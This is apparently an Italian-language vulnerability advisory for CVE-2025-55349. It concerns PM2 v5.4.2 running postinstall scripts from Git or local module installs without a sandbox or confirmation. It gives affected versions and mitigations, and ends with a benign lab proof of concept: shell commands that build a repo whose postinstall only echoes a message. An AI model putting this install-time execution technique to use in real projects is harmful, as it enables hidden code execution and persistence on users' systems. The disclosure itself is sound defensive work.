
repository per CVE-2025-55349
postinstallScopritore: Golden Ticket Labs
Fornitore: Unitech (pm2)
Data di assegnazione: 20 agosto 2025 (MITRE)
Un problema nel componente lib/API/Modules/NPM.js di Unitech PM2 v5.4.2 consente l'esecuzione arbitraria di codice installando pacchetti con script postinstall appositamente creati.
PM2 esegue automaticamente gli script di ciclo di vita postinstall da installazioni basate su Git o da file locali, senza sandbox né conferma dell'utente, anche quando viene invocato tramite:
Questa vulnerabilità persiste anche se il modulo è danneggiato o non funzionale, e il codice dell'attaccante può sopravvivere ai riavvii del sistema quando viene registrato come modulo di avvio di PM2. Versioni interessate
≤ 5.4.2 — Vulnerabile
6.0.5 — Corretta — Logica di parsing Git rimossa (PR #5909), ma la correzione non è stata documentata ed è assente dai changelog.
Vettore di attacco
Un attaccante può preparare un repository Git malevolo con un contenente uno script appositamente creato. Quando viene installato tramite PM2, lo script viene eseguito automaticamente:
package.jsonpostinstallpm2 install https://github.com/attacker/malicious-module.git
Impatto
Esecuzione di codice controllato dall'attaccante al momento dell'installazione
Persistenza tramite moduli di avvio gestiti da PM2
Potenziale movimento laterale in ambienti che utilizzano installazioni condivise o scriptate
Dettagli tecnici
PM2 considera i repository Git implicitamente affidabili durante l'installazione dei moduli. Gli script di ciclo di vita come postinstall vengono eseguiti senza sandbox, visibilità o conferma.
Ciò riguarda sia gli URL Git remoti che i percorsi locali file://, ampliando notevolmente la superficie d'attacco. Poiché i moduli PM2 spesso si avviano all'avvio del sistema, il rischio di persistenza e di comportamento non autorizzato incorporato è elevato.
Mitigazione
Aggiornare a PM2 v6.0.5 o superiore, dove è stata rimossa la logica di parsing Git.
Evitare di installare moduli da fonti Git non attendibili.
Proof of Concept (Solo laboratorio)
⚠️ Non viene fornito alcun codice di exploit armato. Questa è una dimostrazione sicura.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
Nelle versioni vulnerabili, il comando postinstall viene eseguito immediatamente.
Riferimenti
Commit di correzione (rimozione della logica di parsing Git)
Rilascio di PM2 v6.0.5 Licenza e Dichiarazione di non responsabilità
Tutti i contenuti di questo repository sono forniti esclusivamente a scopo educativo e difensivo. Non sono inclusi payload di exploit. Non utilizzare queste tecniche contro sistemi senza esplicita autorizzazione. Contatti
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com